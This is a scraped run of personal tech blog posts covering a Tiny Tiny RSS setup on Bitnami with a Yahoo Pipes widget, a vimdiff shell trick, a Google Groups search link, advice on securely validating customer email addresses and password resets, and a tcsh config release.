My solution was to start with a <a href="http://bitnami.com/" target="_blank">Bitnami</a> stack. Specifically, I started with the <a href="http://bitnami.com/stack/lamp" target="_blank">LAMP</a> stack. However, the Bitnami portion of this process will soon become very simple. Tiny Tiny RSS won the regular contest Bitnami holds to decide on new stacks and is expected to be released soon. Keep an eye on it here: <a href="http://bitnami.com/product/tiny-tiny-rss" target="_blank">http://bitnami.com/product/tiny-tiny-rss</a></div>
<div>
<br />
Next, I signed up a free "developer" class account with <a href="http://bitnami.com/cloud" target="_blank">Bitnami Cloud Hosting</a>.<br />
<br />
Bitnami will allow you to deploy your stack to the Amazon EC2 service automatically and provides documentation for getting your Amazon account set up and ready: <a href="http://wiki.bitnami.com/Amazon_cloud/prepare_aws_account">http://wiki.bitnami.com/Amazon_cloud/prepare_aws_account</a><br />
<br />
If this is your first foray into AWS, the first year of your EC2 micro-instance is free.<br />
<br />
<h2>
Software</h2>
Now, onto the part where you actually use TT-RSS.<br />
<br />
<br />
<div>
There's plenty of howto links around for installing TT-RSS itself, so I keep the redundancy to a minimum. The official guide is over here: <a href="http://tt-rss.org/redmine/projects/tt-rss/wiki/InstallationNotes" target="_blank">http://tt-rss.org/redmine/projects/tt-rss/wiki/InstallationNotes</a></div>
<div>
</div>
<br />
<br />
The guide for how to set up automatic updating of your feeds: <a href="http://tt-rss.org/redmine/projects/tt-rss/wiki/UpdatingFeeds">http://tt-rss.org/redmine/projects/tt-rss/wiki/UpdatingFeeds</a><br />
<br />
I'm not going to bother with details on how I rigged this up in my Bitnami stack as most of it will be soon be moot with the introduction of the TT-RSS stack. If you're a good Linux user and you do want to wait for the bitnami release, here's the summary with no training wheels.<br />
<br />
<ul>
<li>Run gnu <span style="font-family: Courier New, Courier, monospace;">screen</span>.</li>
<li>I used <span style="font-family: Courier New, Courier, monospace;">/opt/bitnami/mysql/bin/mysql_setpermission</span> to set up the tt-rss db and configure a user to be able to access it.</li>
<li>Extract the tt-rss source tarball into <span style="font-family: Courier New, Courier, monospace;">/opt/bitnami/apache2/html/</span> and rename directory to <span style="font-family: Courier New, Courier, monospace;">tt-rss</span>.</li>
<li>Slurp in the mysql schema.</li>
<li>Configure tt-rss according to the install guide.</li>
<li>Because the <span style="font-family: Courier New, Courier, monospace;">update_daemon2.php</span> script needs to be run as the daemon user, I added a minimal <span style="font-family: Courier New, Courier, monospace;">~daemon/.bashrc</span> (just the path from ~bitnami/.bashrc):</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">PATH="/opt/bitnami/memcached/bin:/opt/bitnami/varnish/bin:/opt/bitnami/redis/bin:/opt/bitnami/nodejs/bin:/opt/bitnami/mercurial/bin:/opt/bitnami/perl/bin:/opt/bitnami/git/bin:/opt/bitnami/nginx/sbin:/opt/bitnami/frameworks/laravel/app/Console:/opt/bitnami/frameworks/cakephp/app/Console:/opt/bitnami/frameworks/codeigniter/bin:/opt/bitnami/frameworks/symfony/bin:/opt/bitnami/frameworks/zendframework/app/Console:/opt/bitnami/sphinx/bin:/opt/bitnami/sqlite/bin:/opt/bitnami/apps/django/bin:/opt/bitnami/php/bin::/opt/bitnami/java/bin:/opt/bitnami/mysql/bin:/opt/bitnami/postgresql/bin:/opt/bitnami/apache2/bin:/opt/bitnami/python/bin:/opt/bitnami/subversion/bin:/opt/bitnami/ruby/bin:/opt/bitnami/common/bin:$PATH"<br />export PATH</span></li>
</ul>
<li>In another screen window, become the daemon user</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">sudo su - daemon -c bash</span></li>
</ul>
<li>Run the update script.</li>
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">cd /opt/bitnami/apache2/html/tt-rss/</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">./update_daemon2.php</span></li>
</ul>
</ul>
<br />
That's pretty much it. Filling in the blanks is left to the more experienced user.<br />
<br />
On to the more important pieces...<br />
<h3>
Exporting from Google Reader</h3>
Here is an excellent guide for how to export your Google Reader data:<br />
<a href="http://www.geek.com/news/how-to-export-google-reader-feeds-1543505/" target="_blank">How to painlessly export your Google Reader feeds</a><br />
<br />
<h3>
Importing your rss subscriptions to TT-RSS</h3>
Extract the file you downloaded from Google Takeout. Inside, the important item is the <span style="font-family: Courier New, Courier, monospace;">subscriptions.xml</span> file. Log into your TT-RSS instance and go into <i>Preferences</i>, then click into your <i>Feeds</i> tab. Expand <i>OPML</i>, the 2nd accordion item. Click the <i>Import my OPML</i> button and select the subscriptions.xml file you extracted. If you're interested in preserving your starred items from Reader, expand <i>Import starred or shared items from Google Reader</i>, the last accordion item. Select the <span style="font-family: Courier New, Courier, monospace;">starred.json</span> file you extracted and click the <i>Import my Starred Items</i> button.<br />
<br />
<h3>
Android</h3>
<h4>
App</h4>
The official <a href="https://play.google.com/store/apps/details?id=org.fox.ttrss" target="_blank">TT-RSS App</a> has been under very active development and is maturing very quickly. It's been perfectly stable and usable for me. The only downside is the lack of a launcher widget allow you to read feed article titles right on your homescreen.<br />
<br />
<h4>
Widget</h4>
My solution for the lack of a widget is a little complicated, but it's working great. It's made possible because TT-RSS is not just a feed <b>reader</b>, it is also a feed <b>publisher</b>. In your TT-RSS instance, put the feeds you want to appear in your widget into a category. I used the <i>Favorites</i> for my category name. After you create and populate your new category, click on it. Positioned underneath the <i>Preferences</i> link, you'll see <i>Favorites</i> and the RSS icon. Click directly on the RSS icon and it will pop up a long link. Copy down this url, you'll need it later.<br />
<br />
Next, install <a href="https://play.google.com/store/apps/details?id=de.j4velin.rssWidget" target="_blank">Simple RSS Widget</a>.<br />
<br />
<h4>
Yahoo Pipes</h4>
You'll be feeding Simple RSS Widget from Yahoo Pipes. Log into your <a href="http://pipes.yahoo.com/" target="_blank">Yahoo Pipes</a> account and create a new pipe.<br />
<br />
Since I have several feeds under my Favorites category in TT-RSS, I wanted to give each item title a little visual distinction so I would know from which feed the individual article came. This made the Yahoo Pipe I created a bit more complicated than it needed to be, but the end result is exactly what I wanted.<br />
<br />
From the <i>Sources</i> section, Drag out an <i>Item Builder</i> object.<br />
<br />
I populated mine with the following attributes:<br />
<br />
title = Favorites<br />
description = Items from my Favorites category<br />
link = <a href="http://pipes.yahoo.com/%3Cusername%3E/%3Cplaceholder%3E?_render=rss" target="_blank">http://pipes.yahoo.com/<username>/<placeholder>?_render=rss</a> (replace this with the link to your resulting yahoo pipe when you're done.<br />
author = aharrison<br />
<br />
From the <i>Operators</i> section, drag out a <i>Loop</i> object. Back under <i>Sources</i>, drag out a <i>Fetch Data</i> object and drop it in the middle of the Loop object you just dragged out. For the url, you're going to drop in the long url you copied earlier. However, you're going to modify the url. Your url will look something like:<br />
<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">http://my-ttrss-instance.bitnamiapp.com/tt-rss/public.php?op=rss&id=26&is_cat=1&key=abcdef1234568901234567890123456789012345</span><br />
<br />
Modify it slightly:<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">http://my-ttrss-instance.bitnamiapp.com/tt-rss/public.php?op=rss&id=26&is_cat=1<b>&format=json&view-mode=adaptive</b>&key=abcdef1234568901234567890123456789012345</span><br />
<div>
<br /></div>
<br />
Add the item I put in bold and leave everything else the same. In the <i>Path to item list</i> field, type: <i>articles</i><br />
<br />
Also worth noting, if you're using http<b>s</b>:// for your TT-RSS instance, you need to drop the <b>s</b> to allow Yahoo Pipes to hit your feed without ssl. Likely this is simply because the default ssl certficates in your bitnami stack are just self-signed examples. If you want Yahoo Pipes to be able to use ssl, you're probably going to have to buy your own ssl certificate and rig it up inside your Bitnami stack. (If you really want to do this, here's an old guide that will help you get there: <a href="http://bitnami.org/forums/forums/redmine/topics/how-to-activate-ssl-security" target="_blank">How to activate ssl / Security</a><br />
<br />
Inside your <i>Loop</i> object, choose the radio button <i>emit</i> and the <i>all</i> dropdown choice.<br />
<br />
Click and drag the botton of your <i>Item Builder</i> object to the top of your <i>Loop</i> object to connect them together.<br />
<br />
If you don't want to bother altering the item titles to reflect the feed, you can now connect the bottom of this <i>Loop</i> object to the top of the <i>Pipe Output</i> object and you're done. If you also want the indication of which feed the item is from, proceed.<br />
<br />
Drag out a <i>Rename</i> object. Connect the <i>Loop</i> object to this new <i>Rename</i> object.<br />
<br />
For the mapping, choose <i>item.link</i> from the field choices, then <i>Copy As</i> from the drop down, and type in the last field: <i>titleprefix</i><br />
<br />
Drag out a <i>Regex</i> object. It should read:<br />
<blockquote class="tr_bq">
In <i>item.titleprefix</i> replace <i>^http[:][/][/](.*?)[.](com|net|org).*$</i> with <i>[$1]</i></blockquote>
Connect the <i>Rename</i> object to this new <i>Regex</i> object.<br />
<br />
Drag out another <i>Loop</i> object. Connect the <i>Regex</i> object to this new <i>Loop</i> object.<br />
<br />
Grab another <i>String Builder</i> object and drop it in the middle of the new <i>Loop</i> object. Populate it like so:<br />
<br />
<ul>
<li>item.titleprefix</li>
<li><blank spot></li>
<li>item.title</li>
</ul>
<br />
Grab another <i>String Builder</i> object, but this time, drop it outside the <i>Loop</i> object, not inside.<br />
Inside the new <i>String Builder</i> object, just enter ' - ' (without the quotes). That's a space, a dash, and another space.<br />
<br />
From the bottom of this new <i>String Builder</i> object, click and drag to connect it to the little bubble to the right of your empty field inside your <i>Loop</i> object's <i>String Builder</i> object. Now in your inner <i>String Builder</i> object, instead of the empty field, it should turn gray and read <i>'text [wired]'</i> because the empty field will now pull from the outer <i>String Builder</i> object sitting off to the side.<br />
<br />
To finish with our <i>Loop</i> object, instead of the <i>emit results</i> radio button, choose the <i>assign result to</i> radio button and select <i>item.title</i> from the choices.<br />
<br />
Click and drag from the bottom of this Loop object and connect it to the top of the Pipe Output object.<br />
<br />
You're done creating your Pipe, so click Save and then go back to your pipes page.<br />
<br />
Click on your new pipe. Inside, you'll see a link <i>Get as RSS</i>. Right click it and copy it.<br />
<br />
Edit the pipe you just created. Remember back up in the <i>Item Builder</i> object where I said you'd replace the url? Paste the url there.<br />
<br />
Also, send this link to your Android device so that you'll be able to configure it there as well.<br />
<br />
Take that link, and configure it inside the Simple RSS Widget you installed. Now when you drop the widget onto your homescreen, you'll see all of your favorite items.<br />
<br />
I made an example of this pipe available for reference: <br />
<a href="http://pipes.yahoo.com/ahinmaine/examplettrssfavorites" target="_blank">http://pipes.yahoo.com/ahinmaine/examplettrssfavorites</a><br />
<br />
<h3>
ifttt.com</h3>
Another frustration of the Reader retirement is all the awesome things you can do with your feeds at ifttt.com. Fortunately, all is not lost. For example, I had an ifttt trigger to push any of my starred items to Pocket automatically. Instead, you can use the simple version of the above Yahoo Pipe example to accomplish the same thing. For your <i>Fetch Data</i> object, use this example url instead.<br />
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">http://my-ttrss-instance.bitnamiapp.com/tt-rss/public.php?op=rss&id=-1&format=json&view-mode=adaptive&is_cat=&key=</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">abcdef1234568901234567890123456789012345</span><br />
<br />
Notice the <i>id</i> is <i>-1</i>, this automatically chooses your starred items feed. And instead of <i>is_cat</i> being <i>1</i>, leave it blank.<br />
<br />
<h3>
Why the Pipes?</h3>
You may have already wondered, why would I use Yahoo Pipes to access feeds I've published in my TT-RSS instance rather than accessing them by my TT-RSS url directly? Simple, if you have multiple apps and services polling your TT-RSS instance, this is going to greatly increase the amount of traffic to your EC2 instance. There are usage limits to these micro-instances and you'll hit them a lot faster if you let it get hit from lots of different sources. Yahoo Pipes is an effective way of keeping your costs down. For example, if your Simple RSS Widget is set to poll every 5 minutes, Yahoo Pipes is NOT going to hit your TT-RSS instance every time, it's just going to serve up the results since Pipes last polled it.<br />
<br />
<h4>
The Pipes Regex object</h4>
Yes, I know the regular expression I used for an article title prefix isn't very robust. I'm lazily grabbing the hostname from the domain of the url of the feed. Improving the appearance of your feeds by having fun with Pipes is left as an exercise for the reader.</div>
</div>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com2tag:blogger.com,1999:blog-7183990176718430093.post-77383498646808394542012-04-24T12:08:00.000-04:002013-03-27T20:16:42.426-04:00Vim slick trick of the day...I've always wanted to know how to do this and happened to stumbled across it in a forum.<br />
Here's how you take the piped output from two commands and vimdiff them together.<br />
<br />
<div style="padding-left: 30px;">
vimdiff <(cat filename1) <(cat filename2)</div>
<br />
Ridiculous, I know. But the point is the commands can be anything allowed by the shell.<br />
<br />
<div style="padding-left: 30px;">
<span style="white-space: pre;"> </span>vimdiff <(grep foo filename1 | grep -v bar | sort -u) <(grep foo filename2 | grep -v bar | sort -u)</div>
<div style="padding-left: 30px;">
<br /></div>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-58011946574483184072012-04-15T00:12:00.000-04:002013-03-27T20:23:52.518-04:00Google Groups Advanced Search<p>It seems I'm not the only one who finds the removal of the google groups advanced search extremely annoying. Threads such as <a title="here" href="https://groups.google.com/a/googleproductforums.com/forum/#!topic/websearch/UWbnfc_0J8g" target="_blank">here</a> abound...</p>
<p>The support page is broken and useless because Google's been rolling out interfaces faster than they can write documentation: <a href="http://support.google.com/groups/bin/answer.py?hl=en&answer=46036">http://support.google.com/groups/bin/answer.py?hl=en&answer=46036</a></p>
<p>Googling for the groups advanced search page turns up a lot of broken search pages (for example: <a href="http://groups.google.com/a/webmproject.org/">http://groups.google.com/a/webmproject.org/</a>) which have the search form, but yield no results of any kind for any searches.</p>
<p>So, in hopes of helping anyone else out who is looking for this feature, I found this working link buried in the cached version of one of the google groups pages:</p>
<p><a href="http://groups.google.com/advanced_search?q=&">http://groups.google.com/advanced_search?q=&</a></p>
<p> </p>
<p>When Google <a title="took over Deja" href="http://www.google.com/press/pressrel/pressrelease48.html" target="_blank">took over Deja</a> many years back, they took on the responsibility of maintaining an archive of internet historical significance. It may not seem like much to some, but I love that you can <a title="go back and see the first emoticon" href="http://groups.google.com/group/net.news/browse_thread/thread/b72c333ced0d3adc/e008ed19e251f9ee?hl=en&#e008ed19e251f9ee" target="_blank">go back and see the first emoticon</a> discussion, or see <a href="http://groups.google.com/group/net.sources/msg/7073bf41cc5da330?hl=en" target="_blank">some of the earliest</a> successful open source, or early posts and discussions from <a href="https://groups.google.com/d/topic/news.announce.conferences/1VwHntFvBxI/discussion" target="_blank">true</a> <a href="https://groups.google.com/d/topic/comp.lang.c/WQRevSQhLAw/discussion" target="_blank">icons</a> of technology.</p>
<p>Who knows how long that link will keep working before some UX "engineer" will see fit to burn it down completely. After all, if we're too stupid to handle advanced searching, we're too stupid to care about some old boring old "forum" posts.</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-62944628567722033352011-11-15T15:59:00.006-05:002020-08-21T02:10:02.299-04:00The Complete Idiots Guide to Correctly Validating Your Customer's Email Addresses<div style="font-family: calibri; font-size: 11pt; margin: 0in;"><b><br /></b></div><div style="font-family: calibri; font-size: 11pt; margin: 0in;"><b><br /></b></div><h2 style="font-family: calibri; font-size: 11pt; margin: 0in; text-align: left;"><b>Update August 2020</b>: </h2><div style="font-family: calibri; font-size: 11pt; margin: 0in;"><br /></div><div style="font-family: calibri; font-size: 11pt; margin: 0in;">I have turned this blog post into a site of its own. Please visit <a href="https://guide.mlz.me/" target="_blank">guide.mlz.me</a> for a more updated version of this post.</div><div style="font-family: calibri; font-size: 11pt; margin: 0in;"><br /></div><div style="font-family: calibri; font-size: 11pt; margin: 0in; text-align: center;">_____________</div><div style="font-family: calibri; font-size: 11pt; margin: 0in; text-align: center;"><br /></div><span><a name='more'></a></span><div style="font-family: calibri; font-size: 11pt; margin: 0in;"><br /></div><div style="font-family: calibri; font-size: 11pt; margin: 0in;"><br /></div><div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Email address validation shouldn't be this hard. Yet, obviously it's difficult enough for companies, webmasters and IT departments the world over to get it wrong almost without exception.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
I'll try to spell it out very clearly.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
First things first.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Beginner programming 101</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Raise your right hand and repeat after me:</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "...trust user input."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "...trust user input."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
It may seem difficult to believe that someone could either not know or not remember their correct email address. It happens often. VERY often.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #17365d; font-family: calibri; font-size: 16pt; margin: 0in;">
<span style="font-weight: bold;">Validating email addresses during new account registration</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 1</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Collect the user's email address from a web form of some kind. This web form will:</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<ul style="direction: ltr; margin-bottom: 0in; margin-left: 0.375in; margin-top: 0in; unicode-bidi: embed;" type="disc">
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">Be secured with https</span></li>
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">Be comprised of two fields, forcing the user to type the email address twice.</span></li>
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">Be able to perform at least a cursory validation, though the validation will not reject VALID email addresses, such as those with symbols like . or +.</span></li>
</ul>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 2</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Since you don't trust the user to type their email address correctly, you will make the assumption that the email validation message will be sent to a user other than the intended recipient.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Because of this, your web form will additionally prompt the user for information only they know. This can be:</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<ul style="direction: ltr; margin-bottom: 0in; margin-left: 0.375in; margin-top: 0in; unicode-bidi: embed;" type="disc">
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">A "security" question.</span></li>
</ul>
<ul style="direction: ltr; margin-bottom: 0in; margin-left: 0.375in; margin-top: 0in; unicode-bidi: embed;" type="disc">
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">A validation code number (or any string) that you displayed to the user on their browser page after the user submitted their email address on the web form.</span></li>
</ul>
<ul style="direction: ltr; margin-bottom: 0in; margin-left: 0.375in; margin-top: 0in; unicode-bidi: embed;" type="disc">
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">The user's chosen password, providing that you make certain that you never email the password to the user for any reason. (Since you're NOT storing the password in plain text this is not possible anyway, right?)</span></li>
</ul>
<ul style="direction: ltr; margin-bottom: 0in; margin-left: 0.375in; margin-top: 0in; unicode-bidi: embed;" type="disc">
<li style="margin-bottom: 0pt; margin-top: 0pt; vertical-align: middle;"><span style="font-family: calibri; font-size: 11pt;">Any piece of identifying information that is kept private.</span></li>
</ul>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
This secret identifying information will never, under any circumstances, be emailed to the user, either before or after successful validation.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
The email can contain a clickable link to get them back to finishing the validation process. But first, again, raise your right hand and repeat after me:</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "...send the user a simple clickable link in an email and assume that the clicking of the link establishes validity."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "...send the user a simple clickable link in an email and assume that the clicking of the link establishes validity."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Why does this not establish validity, you ask?</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Because if you SEND THE DAMN LINK TO THE WRONG PERSON they can still click it!</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 3</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Send the address validation email message to the user.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 4</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
To finish the validation process, the user comes back to your site via the clickable link you provided in the email to the user in the previous step. Now, you will prompt the user with a web form asking for the piece of secret identifying data from Step 2 that was never and could never be transferred via email.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
If the values match, the user can now be considered validated.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Else, goto Step 5.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 5</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
If the email address validation fails because the user typed the piece of identifying data incorrectly, or for any other reason, indicate this to the user with an error message.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 6</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
If the user fails to provide the correct identifying information after N-number of attempts, the validation process will be aborted. You will then delete the invalidated profile completely and point the user to the beginning of the account creation process again. FULLY DELETE THE PROFILE INFORMATION.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
You will NOT volunteer to email the user their secret identifying data. Instead, you will FULLY DELETE THE PROFILE INFORMATION and force the user to start from scratch. Suggest to the user that this time, they write down this identifying piece of information on a piece of paper. This is somewhat acceptable (providing that the piece of identifying information is not the password) since it is only used to validate the email address this one time.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Failure to fully delete the profile information properly runs a high risk of data collision and personal information leakage. If one John Smith attempts to sign up an account with jsmith@examp<span style="font-weight: bold;">el</span>.com, fails validation and re-registers with a corrected jsmith@examp<span style="font-weight: bold;">le</span>.com, then another John Smith attempts to register with jsmith@examp<span style="font-weight: bold;">el</span>.com, this new John Smith should NOT be able to see or otherwise collide with any information that may have been entered and associated with the first John Smith's account. </div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #17365d; font-family: calibri; font-size: 16pt; margin: 0in;">
<span style="font-weight: bold;">Forgotten password procedures</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Again, repeat after me:</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "I will NEVER..."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
Me: "...store users' passwords in plain text for conveniently mailing the password to them."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in 0in 0in 0.375in;">
You: "...store users' passwords in plain text for conveniently mailing the password to them."</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 1</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
After the user has clicked the link to initiate the forgotten password procedure, you will prompt the user for their username, or, ideally, their email address.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
However, if you are collecting email addresses from your forgotten password form, you WILL NOT display an error message indicating whether or not the email address was found in your records. Simply indicate that, if found, the forgotten password procedure for the indicated email address will be initiated. Optionally, indicate the email address from which the user can expect to receive the forgotten password procedure email so they can check their anti-spam measures as needed.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 2</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Send the forgotten password initiation email message to the provided email address.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
The amount of personal information contained in this email will be absolutely NONE.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
Optionally, you can now include the helpful clickable link to take the user directly to your site.</div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="color: #366092; font-family: calibri; font-size: 13pt; margin: 0in;">
<span style="font-weight: bold;">Step 3</span></div>
<div style="font-family: calibri; font-size: 11pt; margin: 0in;">
<br /> At this point, you can go back to Step 4 of the Validation process above.</div>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-82790264266130425892011-08-22T14:59:00.000-04:002013-03-27T20:27:10.228-04:00TCSH isn't dead...<p>My tcsh configs have been growing for years. There's probably still a few lines in there from my first .tcshrc config 15+ years ago. It's an amalgamation of years of collecting little snippets from here there and everywhere, as well as plenty of my own additions.</p>
<p>I cleaned it up a bit and made it somewhat presentable sharing with others. It's a modular configuration that allows dropping in chunks of config very easily as well as a crude distribution mechanism to copy it to lots of destinations.</p>
<p>Despite how modular it is and the fact that it's sourcing lots of files, it's actually quite fast so there's no delay opening a shell using this config.</p>
<p> </p>
<p><a title="tcshrc.d on github" href="https://github.com/AHinMaine/tcshrc.d" target="_blank">tcshrc.d on github</a></p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-31159343745711969032011-04-15T23:01:00.000-04:002013-03-27T20:31:54.445-04:00Whack whacking and IPv6...<p>I saw this in a forum and had to look it up. As hard as it is to believe, the following is true.</p>
<p>Quote: IPv6 Address Nomenclature Used for a UNC Path</p>
